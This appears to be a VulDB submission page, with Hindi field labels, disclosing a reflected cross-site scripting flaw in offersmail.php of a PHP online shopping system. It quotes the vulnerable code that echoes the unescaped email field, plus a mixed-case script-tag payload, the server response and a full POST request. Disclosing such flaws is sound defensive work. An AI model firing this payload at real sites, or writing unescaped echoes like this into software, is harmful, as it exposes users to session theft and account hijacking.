| शीर्षक | ONLINE SHOPPING SYSTEM offersmail.php Reflected XSS Vulnerability v1 Reflected XSS |
|---|
| विवरण | ## ONLINE SHOPPING SYSTEM offersmail.php Reflected XSS Vulnerability
### I. Vulnerability Impact
An attacker can inject arbitrary JavaScript into the page, which executes in the victim's browser. This enables session cookie theft, account hijacking, credential phishing, and malicious redirection.
### II. Source Code Analysis
The vulnerability resides in `offersmail.php`, lines 14-18:
```php
if(!preg_match($emailValidation,$email)){
echo "
<div class='alert alert-warning'>
<a href='#' class='close' data-dismiss='alert' aria-label='close'>×</a>
<b>this $email is not valid..!</b>
</div>
";
```
The `$email` variable is taken directly from `$_POST['email']` and output into the HTML body inside a `<b>` tag without any sanitization. When the email format validation fails, the raw input value is reflected back to the page, and the browser parses any injected HTML tags including `<script>`.
### III. Payload
The core injection payload is:
```
<sCrIpT>alert(1)</sCrIpT>
```
Server response:
```html
<div class='alert alert-warning'>
<a href='#' class='close' data-dismiss='alert' aria-label='close'>×</a>
<b>this <sCrIpT>alert(1)</sCrIpT> is not valid..!</b>
</div>
```
The browser parses `<sCrIpT>alert(1)</sCrIpT>` as a script element and executes the JavaScript.
HTTP request:
```
POST /offersmail.php HTTP/1.1
Host: onlineshop
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
email=<sCrIpT>alert(1)</sCrIpT>
```
### IV. Source Download
https://code-projects.org/online-shopping-system-in-php-with-source-code/ |
|---|
| स्रोत | ⚠️ https://github.com/zzzxc643/CVE1/blob/main/online-shopping-system/vul6.md |
|---|
| उपयोगकर्ता | SSL_Seven_Security Lab_WangZhiQiang_XiaoZiLong (UID 38936) |
|---|
| सबमिशन | 27/06/2026 05:37 AM (2 महीनों पहले) |
|---|
| संयम | 16/08/2026 08:09 PM (2 months later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 391199 [code-projects Online Shopping System 1.0 offersmail.php email क्रॉस साइट स्क्रिप्टिंग] |
|---|
| अंक | 20 |
|---|